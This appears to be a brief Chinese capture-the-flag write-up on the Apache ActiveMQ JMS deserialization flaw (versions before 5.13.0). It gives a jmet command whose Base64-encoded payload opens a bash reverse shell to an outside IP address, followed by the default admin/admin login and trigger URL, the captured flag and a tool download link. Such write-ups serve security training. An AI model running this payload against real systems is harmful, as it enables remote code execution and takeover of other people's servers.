漏洞介绍
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞复现
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC80Mi4xOTIuMTQ1LjEyNC8xMjM0IDA%2bJjE%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d" -Yp ROME 118.193.36.37 43667
需要登录触发一下
admin/admin
118.193.36.37:50482/admin/browse.jsp?JMSDestination=event
得到flag
flag-{bmhadfd80ac-1b45-4bfd-8996-759f825bd1f6}
工具下载
jmet-0.1.0-all.jar
https://download.csdn.net/download/QuanPangShu/87905050